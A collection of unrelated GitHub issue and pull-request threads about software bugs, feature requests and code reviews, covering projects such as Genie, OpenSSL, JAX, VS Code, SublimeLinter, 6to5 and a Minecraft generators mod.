Precondition failed when no valid (non-blank) Cluster Criteria or Command Criteria found

This PR modifies the bean validation on JobRequest payloads to ensure that there is at least one non-blank tag in both one of the ClusterCriteria and the CommandCriteria. This prevents the job request from getting through and causing non-deterministic behavior in the DB query as "" tags will match every cluster or command in DB.
Now when a job request is made with this precondition violated the entire request fails and returns a 412 HTTP status code to the user. The job request is NOT saved to the database since it was invalid anyway.

@skwslide fyi this is to address the issue you brought up yesterday

Coverage decreased (-0.01%) to 88.793% when pulling 0dae64fd00b95aa18d98d10d78d7658e690c1f07 on tgianos:GENIE-173-3.0.x into 94927f9ac22b5d2cca46aa0ce9f17b64aadcd626 on Netflix:3.0.x.

Coverage decreased (-0.08%) to 88.692% when pulling 118fa260dec658c444b760dc36ab80473e438630 on tgianos:GENIE-173-3.0.x into 02edb65aad7aaef83a01e2c276ec50b5d58d9fdd on Netflix:3.0.x.


Move history of contract code migrations to their own prefix store.

Summary
Move history of contract code migrations to their own prefix store. This would reduce the overhead in de-/serialization data for ContractInfo and save gas.
Follow up on #130

For Admin Use

[ ] Not duplicate issue
[ ] Appropriate labels applied
[ ] Appropriate contributors tagged
[ ] Contributor assigned/self-assigned

Good idea.
I think they can have a different prefix store, but one element per contract. Using the same address as key.
Definitely makes most queries much cheaper when there is much migration

👍  Another benefit is easier genesis ex-/ import as there is no need to import the history


Implementation of remaining metesat operations

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

653 of 732 (89.21%)  changed or added relevant lines in 6 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.2%) to 83.748%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

operators/src/processing/meteosat/radiance.rs
4
6
66.67%

operators/src/processing/meteosat/satellite.rs
59
63
93.65%

operators/src/util/sunpos.rs
57
66
86.36%

datatypes/src/raster/raster_properties.rs
49
59
83.05%

operators/src/processing/meteosat/reflectance.rs
249
267
93.26%

operators/src/processing/meteosat/temperature.rs
235
271
86.72%

Totals

Change from base Build<PHONE_NUMBER>:
0.2%

Covered Lines:
22035

Relevant Lines:
26311

💛  - Coveralls

 MSG-Spezialoperatoren


Error: Issue does not exist or you do not have permission to see it.

Hi everyone,
Thanks for this amazing project. It has been very helpful to me and my team.
I'm facing an issue when attempting to generate a changelog.
Error: UnhandledPromiseRejectionWarning: StatusCodeError: 404 - {"errorMessages":["Issue does not exist or you do not have permission to see it."],"errors":{}}
I get the same for every single ticket. However, the tickets do exist and things were working fine 2 weeks ago, which was when I first upgraded to 1.5.0 with the new auth mode (token).
I know the issue is probably on my end, but if you can, I will appreciate any help you can provide.
This is what I've tried in an attempt to debug the issue.

I tried fiddling with the configuration, basing my configuration on your sample file in this repo
I tried manually using the jira-client, which is one of your dependencies, to see if I would get the same error. However, I was able to find and log the ticket just fine, with the exact same credentials
I tried updating the ticket version manually using the jira-client and succeeded without any issues either

I will continue to look into this and will update this issue with my findings (if any).

Hi. That's very odd and thank you for all the details; it looks like you've really dug into this.
I'd first double check that the version you're calling is still 1.5.0 (I'm sure you've probably already done this):
npx  jira-changelog --version

Then, go into the node console and use the jira-changelog modules directly:
const Config = require('jira-changelog').Config;
const Jira = require('jira-changelog').Jira;

// Get config and load jira API
const config = Config.readConfigFile('<PATH TO REPO>/changelog.config.js');
const jira = new Jira(config);

// Search for a JIRA ticket
jira.getJiraIssue('MO-123').then(console.log, console.error);

It's possible that the git commit parsing is extracting the ticket number incorrectly, which is why it's returning 404.

Hi @jgillick,
Thanks for the quick reply. I confirmed that I'm running 1.5.0 by running your suggested command (npx  jira-changelog --version).
I also used the jira-changelog module as you suggested, and things worked as expected, so you might be right on the money with the git commit not being parsed correctly.
But, to increase my confusion, I tried generating the changelog on a different computer and things worked as expected. Could it be the version of node, or the version of git? I'll continue to investigate on this, and since using the module worked, I don't think the issue is necessarily with jira-changelog. I'd like to keep this issue open either way and I'll update it with my findings and close it if you don't mind.
Versions:

Device
Node
Git
Npm

Working computer
10.15.1
2.20.1
6.4.1

Computer with issue
10.13.0
2.19.1
6.4.1

Update: I ended up downgrading the node version to 10.13.0 in the computer with issues and things worked out. I did what @jgillick suggested and things worked as expected, which makes me believe that the problem is on my end.
That said, I'll close this issue and will update it once I figure out what's going on. If it turns out that the issue is with jira-changelog, I'll open another issue with steps to reproduce.
Thanks again for your help.


Fix bugs of pkey_dh_copy()

This is follow up PR for #647.

Ping to @mattcaswell @ajmohan @richsalz.
Sorry I deleted my forked repo.
So I made a follow up PR for #647.

I am happy with this aside from the one minor comment

@mattcaswell applied

+1

We need another team member review now.

I have a problem with this. All the copy functions are either not documented, or just says that it copies things.  It clearly does not document that dst can be reused and what the state of it is on failure.
In any case, I think it's a bad idea to free() things without setting the pointer to NULL for an object that's probably not in a consistent state.

@kroeckx then do you want to set NULL in all freed objects in pkey_dh_cleanup()?
If it is, then I think it is not a good idea. It can produce unnecessary overhead.
A developer who uses pkey_dh_cleanup() should check the return value,
if it returns 0, which means an error, then pkey_dh_cleanup() guarantees that copying object is failed and no leaked memory, but not the state of an object.

I'm not sure I understand what you're saying.  I assume that the normal way to use the copy function is that you first allocate and initialize dst, then try try to copy it, and if it failed try to free it.
I assume that initializing dst sets the pointers inside the struct to NULL.  I assume that free()ing dst will try to free the pointers inside the struct.  Since they're already free()d you'd end up with a double free if you don't set them to NULL.
If those assumptions are wrong, it clearly needs to be documented.
There are also at least documented cases where dst does not need to be a just initialized object but can be an existing object of which you want to replace some parameters.  In that case I expect that at least dst ends up in a consistent state (basic exception safety) but would prefer that the behaviour of the function is that it either succeeds or does not changed dst at all (strong exception safety).

@kroeckx I see. I think I understand what you mean.
I think we should not free internal data because normal way to use copy function is
init -> copy -> if failed -> free.
Therefore if we free it internally, then it may cause double free, right?
I think we do not need to free it like pkey_rsa_copy()
So, if an error occurs just return 0 without free.

@kroeckx I committed another one. I think it is what you mention, right?

Then I think we don't need to move pkey_dh_cleanup().
But I think it is not an issue.

+1

Tips : run a "git rebase -i HEAD~4 " to squash these four commits...

@FdaSilvaYY +1

Merged. Thanks.


Possible bug of jnp.tile()

Description
I ran into a possible bug when trying to make an Keras IO example to be Keras-Core based and backend-agnostic. https://github.com/keras-team/keras-core/pull/623
with the following code snippets,
import jax
import jax.numpy as jnp
import numpy as np

def foo(a, b):
    print(f"a.shape {a.shape}")
    print(f"b.shape {b.shape}")
    return jnp.tile(a, b)

@jax.jit
def foo_jit(a, b):
    print(f"a.shape {a.shape}")
    print(f"b.shape {b.shape}")
    return jnp.tile(a, b)

a = np.ndarray([1, 20, 20])
b = np.array([64, 1, 1])
c = foo(a, b)
print(c.shape)

c_jit = foo_jit(a, b)
print(c_jit.shape)

for foo(a, b), I got
a.shape ((1, 20, 20), <class 'numpy.ndarray'>)
b.shape ((3,), <class 'numpy.ndarray'>)

and get expected `(64, 20, 20)`

for foo_jit(a, b), I got
a.shape ((1, 20, 20), Traced<ShapedArray(float32[1,20,20])>with<DynamicJaxprTrace(level=1/0)>)
b.shape ((3,), Traced<ShapedArray(int32[3])>with<DynamicJaxprTrace(level=1/0)>)

and error messages:
Traceback (most recent call last):
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/numpy/core/fromnumeric.py", line 3154, in ndim
    return a.ndim
AttributeError: 'list' object has no attribute 'ndim'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/tmp/f_jax.py", line 21, in <module>
    c_jit = foo_jit(a, b)
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/traceback_util.py", line 166, in reraise_with_filtered_traceback
    return fun(*args, **kwargs)
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/pjit.py", line 253, in cache_miss
    outs, out_flat, out_tree, args_flat, jaxpr = _python_pjit_helper(
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/pjit.py", line 161, in _python_pjit_helper
    args_flat, _, params, in_tree, out_tree, _ = infer_params_fn(
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/api.py", line 324, in infer_params
    return pjit.common_infer_params(pjit_info_args, *args, **kwargs)
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/pjit.py", line 491, in common_infer_params
    jaxpr, consts, canonicalized_out_shardings_flat = _pjit_jaxpr(
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/pjit.py", line 969, in _pjit_jaxpr
    jaxpr, final_consts, out_type = _create_pjit_jaxpr(
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/linear_util.py", line 345, in memoized_fun
    ans = call(fun, *args)
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/pjit.py", line 922, in _create_pjit_jaxpr
    jaxpr, global_out_avals, consts = pe.trace_to_jaxpr_dynamic(
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/profiler.py", line 314, in wrapper
    return func(*args, **kwargs)
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/interpreters/partial_eval.py", line 2155, in trace_to_jaxpr_dynamic
    jaxpr, out_avals, consts = trace_to_subjaxpr_dynamic(
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/interpreters/partial_eval.py", line 2177, in trace_to_subjaxpr_dynamic
    ans = fun.call_wrapped(*in_tracers_)
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/linear_util.py", line 188, in call_wrapped
    ans = self.f(*args, **dict(self.params, **kwargs))
  File "/tmp/f_jax.py", line 14, in foo_jit
    return jnp.tile(a, b)
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/numpy/lax_numpy.py", line 1813, in tile
    result = broadcast_to(reshape(A, [j for i in A_shape for j in [1, i]]),
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/numpy/lax_numpy.py", line 1191, in broadcast_to
    return util._broadcast_to(array, shape)
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/numpy/util.py", line 388, in _broadcast_to
    if not isinstance(shape, tuple) and np.ndim(shape) == 0:
  File "<__array_function__ internals>", line 180, in ndim
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/numpy/core/fromnumeric.py", line 3156, in ndim
    return asarray(a).ndim
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/core.py", line 611, in __array__
    raise TracerArrayConversionError(self)
jax._src.traceback_util.UnfilteredStackTrace: jax.errors.TracerArrayConversionError: The numpy.ndarray conversion method __array__() was called on traced array with shape int32[].
The error occurred while tracing the function foo_jit at /tmp/f_jax.py:10 for jit. This concrete value was not available in Python because it depends on the value of the argument b.
See https://jax.readthedocs.io/en/latest/errors.html#jax.errors.TracerArrayConversionError

The stack trace below excludes JAX-internal frames.
The preceding is the original exception that occurred, unmodified.

--------------------

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/tmp/f_jax.py", line 21, in <module>
    c_jit = foo_jit(a, b)
  File "/tmp/f_jax.py", line 14, in foo_jit
    return jnp.tile(a, b)
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/numpy/lax_numpy.py", line 1813, in tile
    result = broadcast_to(reshape(A, [j for i in A_shape for j in [1, i]]),
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/numpy/lax_numpy.py", line 1191, in broadcast_to
    return util._broadcast_to(array, shape)
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/jax/_src/numpy/util.py", line 388, in _broadcast_to
    if not isinstance(shape, tuple) and np.ndim(shape) == 0:
  File "<__array_function__ internals>", line 180, in ndim
  File "/Users/freedom/tf-master/lib/python3.9/site-packages/numpy/core/fromnumeric.py", line 3156, in ndim
    return asarray(a).ndim
jax.errors.TracerArrayConversionError: The numpy.ndarray conversion method __array__() was called on traced array with shape int32[].
The error occurred while tracing the function foo_jit at /tmp/f_jax.py:10 for jit. This concrete value was not available in Python because it depends on the value of the argument b.
See https://jax.readthedocs.io/en/latest/errors.html#jax.errors.TracerArrayConversionError

What jax/jaxlib version are you using?
jax/jaxlib v0.4.14
Which accelerator(s) are you using?
CPU/GPU
Additional system info
Python 3.9/3.10, macOS
NVIDIA GPU info
No response

For jax.jit, the output shapes might only depend on the input shapes, not the input values.
Your foo_jit violates that: the output shape depends on values in b.
The usual way to mitigate this is to declare such arguments as "static", which causes recompilation for different values.
Repro:
import jax
import jax.numpy as jnp
import numpy as np
from functools import partial

def foo(a, b):
    return jnp.tile(a, b)

@partial(jax.jit, static_argnames="b")   # declare `b` as static
def foo_jit(a, b):
    return jnp.tile(a, b)

a = np.ndarray([1, 20, 20])
b = (64, 1, 1)   # a tuple is hashable
c = foo(a, b)
print(c.shape)
# (64, 20, 20)

c_jit = foo_jit(a, b)
print(c_jit.shape)
# (64, 20, 20)

FYI, printing from a jit'ed function does not work as usual. See the docs about jax.debug.print.

Thanks for answering the question! @clemisch's answer touches all the relevant pieces: this is working as expected.

FYI, printing from a jit'ed function does not work as usual. See the docs about jax.debug.print.

Keep in mind jax.debug.print is only necessary for printing traced runtime values like array contents. Static values like array shapes and dtypes can be printed at trace-time with a standard numpy print.
I'm going to close this, because it's working as expected. Feel free to comment here or open another issue if you have additional questions!


Attaching to a process always stops it

Regardless what I have in stopOnEntry, when I attach to a running process, the debugger always stops it and I have to manually enter continue. It would be great the stopOnEntry is honored in attaching as well.
Thanks!

Should be fixed in 0.2.1


QUnit.only to test only a single test block

Based on feedback from other developers, I'm proposing QUnit.only to run just a single test block.
QUnit.only implementation would be similar to QUnit.test but when registered to the tests queue, it would be flagged as the only valid test to run.
The behaviour should be like the rerun feature, but instead of using a browser interface, it would allow QUnit to run that single flagged test on other interfaces, like headless browsers (PhantomJS) and Node-like environments.

What should happen if there is more than 1 instance of QUnit.only?

Allow multiple (makes the name only feel a little weird but not unreasonable)
Log a special global assertion failure
Something else?

I'm pretty sure we've had previous discussions about this, but I can't find any of the tickets. Would be great if someone could try to dig through closed tickets. It would surely help to remember what method name was proposed before...

#496?

Yep, thanks. Since that is open, let's continue the discussion there.

I wasn't able to find #496 before. Thanks.


Idempotent Message Validator parameters' table is not proportional

at the mentioned doc, the description has more space for default value than description, although it's set to have 35% of space (tried to modify this but having same results)

You can check out this at https://docs.mulesoft.com/mule-runtime/4.1/idempotent-message-validator

(creating jira for this)


JavaScript issues when labels.wmflabs.org is down

labels.wmflabs.org is not responding at the moment, causing JavaScript issues on Wikidata and other projects. When I use the script, loading time increased to 1.8 minutes. It takes 1.76 seconds to load the page without the script.

It's up now thanks to Yuvi

It seems it happens on all pages of wikidata. We need to investigate this issue in more depth.

Labs is down again and the script was causing trouble again. It should be locally loaded, not loaded via labs.

See also

https://phabricator.wikimedia.org/T102333#1401426
https://phabricator.wikimedia.org/T104071

I think the underlying issue is resolved now and when  labels.wmflabs.org is down, no harm would be made to the user (since we are using on-wiki js now). Feel free to re-open if happens


Export/Import resume data to json

Hi  @sadanandpai ,
a warm appreciation for your efforts towards opensource.
It would be great if we can able to Export/Import resume data to json , this will be good if we can to edit the resume in the future.
Please feel free to contact me if any help needed
Thanks in advance

@cushychandru thanks for suggesting the important feature. Will try to integrate that soon

@gopal1996

@sadanandpai - Also, requesting you to integrate the export feature to .doc(word)

Export and import features have been added


3d rendering of specific building fails

TO REPRODUCE THE ISSUE, FOLLOW THESE STEPS:
I used the app StreetComplete, which uses tangram 0.8.0.
RESULT:
On particular building fails to render in the 3d mode. When rotating/moving it flickers between grey and this type of brown:

EXPECTED RESULT:
Proper 3d rendering
ENVIRONMENT:
Cyanogenmod 14/Android 7
OTHER:
I can send you a video and the place where it happens via mail.
Ref: https://github.com/westnordost/StreetComplete/issues/592

What approximate map location (zoom, lat, long)? Is this still using
Cinnabar style?
On Sat, Sep 16, 2017 at 1:24 PM, rugk<EMAIL_ADDRESS>wrote:

TO REPRODUCE THE ISSUE, FOLLOW THESE STEPS:
I used the app StreetComplete
https://github.com/westnordost/StreetComplete, which uses tangram 0.8.0
https://github.com/westnordost/StreetComplete/blob/040ae0ee0bec68fc7654bd42c687eb448e928495/app/build.gradle#L99
.
RESULT:
On particular building fails to render in the 3d mode. When
rotating/moving it flickers between grey and this type of brown:
[image: color]
https://user-images.githubusercontent.com/11966684/30444437-42966534-9983-11e7-8946-b73287927634.png
EXPECTED RESULT:
Proper 3d rendering
ENVIRONMENT:
Cyanogenmod 14/Android 7
OTHER:
I can send you a video and the place where it happens via mail.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/tangrams/tangram-es/issues/1653, or mute the thread
https://github.com/notifications/unsubscribe-auth/AA0EO_bavLjVQfz-aGnvna4qDl9al_JRks5sjC53gaJpZM4PZ8Ax
.

Drop me a mail and I can send you more information. And yes, Cinnabar style.

Email sent.

We think this is related to a vector tile bug: https://github.com/tilezen/vector-datasource/issues/1226.
Basically that building is duplicated between two neighboring tiles and the way the landuse_kind is calculated it doesn't always result in the same exact value per tile for the same feature. Because of the two states per tile and the overlap between tiles, it z-fights.
So not something wrong in the style or Tangram.

The issue here is because the underlying data has missing landuse_kind tag at certain zoom level. Our vector tiles project already has an issue created for this. Kindly refer to https://github.com/tilezen/vector-datasource/issues/1226 for more details.
Leaving this issue open until https://github.com/tilezen/vector-datasource/issues/1226 gets resolved.

This isn't an issue that can be resolved in tangram - closing.


Bump ClimaCommsMPI

Purpose
Bump the version number, increase MPI.jl compat
To-do

Content

[ ] I have read and checked the items on the review checklist.

LGTM. Should should we also bump to Julia 1.8?

We should probably bump them all, but it doesn't matter at the moment.

bors r+


[Event Request] Codeunit::"Job Calculate Batches" - Function PostDiffBuffer - OnPostDiffBufferOnBeforeModify

We like to request the following Event:
Object: Codeunit::"Job Calculate Batches"
Function: PostDiffBuffer
Publisher Event: OnPostDiffBufferOnBeforeModify
Reason: To implement custom business logic
Where is the event placed:
JobLedgEntry.SetRange("Unit of Measure Code", JobDiffBuffer[1]."Unit of Measure code");
JobLedgEntry.SetRange("Work Type Code", JobDiffBuffer[1]."Work Type Code");
if JobLedgEntry.Find('-') then
repeat
JobDiffBuffer[1].Quantity := JobDiffBuffer[1].Quantity - JobLedgEntry.Quantity;
until JobLedgEntry.Next = 0;
OnPostDiffBufferOnBeforeModify(JobLedgEntry, JobDiffBuffer[1]);
JobDiffBuffer[1].Modify();
until JobDiffBuffer[1].Next = 0;
Event Code:
[IntegrationEvent(false, false)]
local procedure OnPostDiffBufferOnBeforeModify(var JobLedgEntry: Record "Job Ledger Entry"; var JobDiffBuffer: Record "Job Difference Buffer" temporary)
begin
end;

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. We will update this issue with information about availability.


Allow arrays in Variables view in Debugger to stay open when updated

This is an extension to https://github.com/microsoft/vscode/issues/2399.
I see that the discussion above mentioned about the flickering when the variables are updated when stepping over code.
However, it seems the flickering can cause expanded (inspected) variables to become closed after an update. You can see how I have to to keep reopening the panel to view the contents of an array in the Variables view when debugging and stepping over some code.

I would like to request a feature to keep the expanded (inspected) variables to stay expanded (inspected) when a "Step Over" command is issued in VS Code.
Thanks for reading.

@isidorn In general this is an issue with the reference-ID-generation in the debug adapter.
However this time it looks like there is a bigger problem.
I can reproduce this with the node-debugger.
Use this code:
let a = [];

for(i = 0; i < 100; i++) {
	a[i] = i;
}

Set a breakpoint on the statement inside the for-loop.
start debugging
expand array
press "continue"

Observe:
array stays expanded (as expected).

press "step"

Observe:
array collapses.

@weinand the issue here is that the stack frame of the frame changes. Before pressing "step" the stackFrame has the id 1000 and after pressing "step" the stackFrame has the id 1001.
For the vscode ui these two frames are then considered different.
In order to fix this the debug adapter should return consistent frameId for same frames across steps.
As an alternative vscode could use the name of the stack frame when generating the id. Though using the current approach seems better to me.

Assigning to @weinand and @roblourens  to see if the stackFrame id can be preserved and removing the milestone.

@isidorn the original problem occurred in the Java debugger. Fixing this in node.js debugging doesn't help that much for Java.
Please explain the Java folks what to do.

Dear Java follks,
VSCode is using the tree to represent the variables in the variables view. In order for us to keep the expansion state we need to uniuqly identify each element in the tree.
For that we comput a unique ID for each element: Scope, Variable and so on.
Currently for the scope ID computation we use the StackFrame.id
We use that to be consistent since each element takes into account its parents id.
In practice we could remove this. And that each scope does not take the parents ID into consideration. We can only do this because in vscode ui we never show multiple scopes from multiple stack frames at the same time in the tree. Our variables view is always scoped per StackFrame.
So we have two options to fix this.

Java makes sure that the StackFrame id does not change when it does not need to
VSCode no longer takes into account the stackFrame id when computing the scope id - this is a change which I could only push in debt week and only after self hosting on it for a milestone I would be comfortable with shipping this

Bottom line: I like the current id computation which is dependent on the parent and I would prefer to got with 1). If that is not possible than I can look into 2)
ping @testforstephen

This is 99% becuase the id coming from the adapter changed. As I have mentioned in my previous comment, for each item in the variables view we compute an ID, this ID is based on the ID of its parent chain, and for each element we compute the ID using data coming from the debug adapter. If an element like for example StackFrame has an ID then we will use that to compute our own ID. Thus if that changes, our ID changes and the expansions status is not kept
Ok, let's try that I no longer take into account StackFrame.id for the scope. I will push this next week and you can try it out and let me know how it goes.

I have pushed these changes. The insiders in about a week should have these chagnes
@tommai78101 @testforstephen let me know how it behaves for you know. Looking at the sample @weinand provided this is fxied now

@isidorn I may not likely be available to test this change, since I am preparing for a long, family vacation trip coming up really soon. I won't be available to test this until July 2019. Just letting everyone know in advance.

I tried in the 1.36.0-insider with 2019-06-07T05:19:15.188Z version, the expanding status is kept after step.

Great, adding verified label. Thanks for trying it out.


Cleanup

This is a clean version but without deprecation code.

extra_flags is really just our args
include_dirs can be expressed by -I +
x also is just a setting with a dynamic default
Wall is a switch with a True default

All requires SL > 4.3
Basically saying, we don't need to reinvent the wheel here. SL really provides most of that out-of-the-box.
(Except the x; maybe the defaults processor should accept callables.)

Sure, does not yet have documentation. The setting would indeed be
	{
		"disabled": false,
		"I": ["/foo", "bar"],
		"args": "-Whatever"
	}

So while I is not descriptive, it is 'transparent'. (And we can just use the SL framework implementation.)

I now added a commit that actually registers two linters. With this 'trick', the plugin stays completely declarative. And you get two configuration sets. E.g.
	"linters": {
		"clangcplus": {
			...
		},
		"clangc": { ... }
	}

(Name bikeshedding: Maybe clang and clangplus)

Name bikeshedding

clang and clan++? Love this approach by the way.

Cool and thanks for testing. To allow a good name we must change SublimeLinter core. https://github.com/SublimeLinter/SublimeLinter/issues/1366

Working well for me on my mac. Thanks again! For the naming, another option might be "clang-cc" and "clang-cxx"

https://github.com/SublimeLinter/SublimeLinter/pull/1373 is in master so what- and whenever the next release will be,
class MyLinter(Linter):
	name = 'with-a-fancy-n4m+'

should work. 🤞

4.4.0 is out, so you should be ready to go here!

Changed the name to clang and clang++

Okay, ready for ✈. @braver?

👍

How about setting "args": "-Wall -fsyntax-only -fno-caret-diagnostics" as default? Then you have full control?

Yes, that's perfect.

Ok, last check @ChisholmKyle

I'm really looking forward to this merge :) @braver

Cool, 🚤 it!

🎉

Awesome!


asyncToGenerator not working on functions with return statements?

I am trying to use { "optional" : [ "asyncToGenerator"] } because my target environment, Atom, supports generators and I don't want to add a dependency on the regnerator runtime.
I'm not sure if I'm using 6to5 v3.0.11 incorrectly or not, but my input:
async function foo() {
  return 42;
}

becomes:

var _asyncToGenerator = function(fn) {
    return function() {
        var gen = fn.apply(this, arguments);
        return new Promise(function(resolve, reject) {
            var callNext = step.bind(gen.next);
            var callThrow = step.bind(gen["throw"]);

            function step(arg) {
                try {
                    var info = this(arg);
                    var value = info.value;
                } catch (error) {
                    reject(error);
                    return;
                }
                if (info.done) {
                    resolve(value);
                } else {
                    Promise.resolve(value).then(callNext, callThrow);
                }
            }
            callNext();
        });
    };
};

var foo = _asyncToGenerator(function*() {
    return 42;
});

but when I call foo(), I get an error:
"TypeError: Method [Generator].prototype.next called on incompatible receiver undefined
  at next (native)

I believe that the result of fn.apply(this, arguments) needs to be checked to see whether it is the output of a generator. I don't know if you can leverage the work of http://taskjs.org/, but it seems like a good starting point.
Also, I thought regenerator had an option to target environments that support yield: is it possible to use that? Is that what is being used by asyncToGenerator?

Possibly a c4fb5a5e403e419ab6b440e55cc18a5a0378f463 regression. The runtime taken from here is used.

I believe this should also be valid:
async function foo() {
  return new Promise((resolve, reject) => resolve(42));
}

I'm 99% sure that regenerator does the right thing here.

@bolinfest Not sure if that does what you think it does:
foo().then(function (promise) {
  promise.then(function (42) {
    data === 42;
  });
});

Hmm, /cc @benjamn.

@sebmck It's my understanding/expectation that if a function is async, then it always declares a Promise. If the implementation of that function happens to include return <promise>, then I would expect the async function to return a Promise that resolves to the same value of <promise>.

@bolinfest Returning a promise inside of an async function will just resolve and return the promise you just constructed, it doesn't delegate to it. To get the behaviour you're expecting you'd change your original function to:
async function foo() {
  return await* new Promise((resolve, reject) => resolve(42));
}

I figured the Method [Generator].prototype.next called on incompatible receiver undefined error out. It's probably a result of strict mode, I'll push out a fix.

Fixed as of 3.0.14, thanks!

@sebmck Thanks for your speedy fixes, as always!


Bug: update home page events list

Actual Behaviour
Current events did not include the 8.21 shanghai meetup

Expected Behaviour

[x] should update it manually
[ ] should update it automaticly

please help to update the task 1 first @bzp2010 , thanks a lot~

reopen this issue for task two, not emergent
before task two ready, need to check wether update configure file together with event


testlogin api fixes

https://github.com/rancher/rancher/issues/9921
https://github.com/rancher/rancher/issues/9922
https://github.com/rancher/rancher/issues/9920

LGTM

LGTM


Don't alter images that don't need it (specifically re: resize)

I don't know if this would be just a template tag feature or also in helpers, but. If an image is supposed to be resized and already is the size it will be, we should just copy the original file (or maybe just return the original file as the path?) The problem this would solve: jpeg artifacts on images that are already exactly the right size.

Probs in the helpers so this fix also captured the ajax feature, right? That's a thing, right? I can't remember.

Closing this one - we probably don't care, especially as images are getting larger and larger. If people need to avoid jpeg artifacts they should use png. And we shouldn't ever return the original image for security reasons - we should instead always be stripping exif data.


Enable CBOR decompression

I have a feature request!
The rosbridge has just developed a really nice feature to integrate CBOR compression for pointcloud. https://github.com/RobotWebTools/rosbridge_suite/pull/452
But at the moment ros-sharp cannot receive it. I think it will be really valuable to enable decompression in ros-sharp to utilise this feature. https://github.com/RobotWebTools/rosbridge_suite/issues/453
How would you think this is can be enabled or adapt to work towards streaming pointcloud2 through CBOR compression?
Best Regards,
Chang

Hey @Changliu52 ,
I am trying to deserialize CBOR encoded messages as well. Do you have any progress so far? I am having an issue which I explain here in detail, which is basically I could only get corrupted json strings when I decode cbor-compressed PointCloud2 messages so I cannot deserialize the messages into custom C# objects.

Sorry, no progress update so far.

We restrict ROS# serializer support to Microsoft.JSON and Newtonsoft.JSON only.
There is the generic ISerializer interface with which application-specific serializers can be implemented.


Custom Email notifier

I can't see currently a way of adding logic to the OrderEmailNotifier. Basically my use case is that the user when purchasing an item (a training course) needs to supply email addresses of people that  are attending the course. The e-mail the attendees get may be different from the person purchasing the training course (with dates etc).
The only way I can see to do this is to build a custom OrderEmailNotifier and then use that instead of the current one. This way I can control who get's which template and what information is taken out of the relevant Order.
I'm going to put together a little PR to suggest a way to do this but obviously will take guidance from the community.

It really depends when you need to notify attendees. It could be sufficient to just use the onPaid extension-hook (implemented in an extension added to Order) and send the E-Mails from there.
But I agree, the OrderEmailNotifier is not very extensible. An architecture that makes it easier to send all kinds of shop-related Emails could be useful, but it might be hard to find a solution that handles most possible use-cases elegantly.

For my scenario you may want the people attending the course to receive an e-mail before the Order is paid for. For instance some companies ay want to pay by invoice (after X days) so in this case the hook into Paid won't work. I could create a new status of course and hook into that instead.

If you just need to be able to use a custom Subclass of OrderEmailNotifier, then this is already in place, see my comment on the PR (#570)

Yep a subclass would do it but was not sure how to make the OrderProcessor use my Subclass and not the standard OrderEmailNotifier

You can use the Injector, eg. in your config file:
Injector:
  OrderEmailNotifier:
    class: MyCustomOrderEmailNotifier

Then in your MyCustomOrderEmailNotifier class, you could implement other methods, such as sendNotificationToAttendees etc.
Call these methods from hooks that you added to an extension to Order. You can use the onPaid and onPlaceOrder hooks, or the onStatusChange hook if you need to trigger something on status-change.

Thanks @bummzack I'll cancel my PR and/or change the docs :)

You're welcome. Hope it helps to achieve what you're looking for, otherwise feel free to reopen or create a new PR.
As a general rule of thumb in SilverStripe: You can replace pretty much any class via Injector, as long as the ClassName::create pattern is being used for instantiation. Caveat: replacements are restricted to a single class, eg. replacing a class doesn't mean that extending classes will then magically inherit from the replaced class.


How I can get audios path from my gallery ?

Expect
Open my audio gallery as a list of items .

Closing as the issue is missing requirements and no response.


No recipe for Forge Energy output

The Forge Energy output block (in-game "Energy Emitter") doesn't have a recipe.  The block is listed in JEI and available via cheats, but can't be created in normal survival mode.
generators-<IP_ADDRESS>-mc1.11.2.jar
Workaround:

Open the jar with 7zip and go to assets/advgenerators/config.

Copy recipes.cfg to your config folder in config/AdvGenerators/overrides

Add the following lines to your copy of recipes.cfg
RMR
FWF => B:advgenerators:forge_output
RwR

Fix merged, thanks!


AMP update hangs unless all instances are manually stopped, and service must be manually restarted each time

Bug Report
System Information

Operating System Windows Server 2016 Standard (windows updates current as of time of reporting)
AMP Release "Halimede" v<IP_ADDRESS>, built 21/12/2022 17:57 (has been observed on multiple mainline release over the last year, but this is the one I just updated to today from v<IP_ADDRESS>)
Mainline

I confirm:

[x] that I have searched for an existing bug report for this issue.
[x] that I am using the latest available version of AMP.
[x] that my operating system is up-to-date.

Symptoms
When attempting to update the main AMP instance, the process always hangs unless I manually stop all game server instances first.
When I start the update from the main instance, the AMP Service Handler process will close, but AMP Core Runtimes for the game instances will keep running, and then the AMP Service will fail to restart (presumably due to the AMP Core Runtime instances still being active)
At this point, I resolve the issue by closing all AMP Core Runtime processes and manually starting the AMP service in the services list, which will launch the AMP Service Handler again.  if I attempt to start the AMP service from the services list before closing all the AMP Core Runtime processes, it will briefly launch the service handler before stopping again. After logging into the manager again, it usually still shows the server as out of date and prompts me to install the update. Performing the update (and resolution process) a second time usually successfully applies the update.
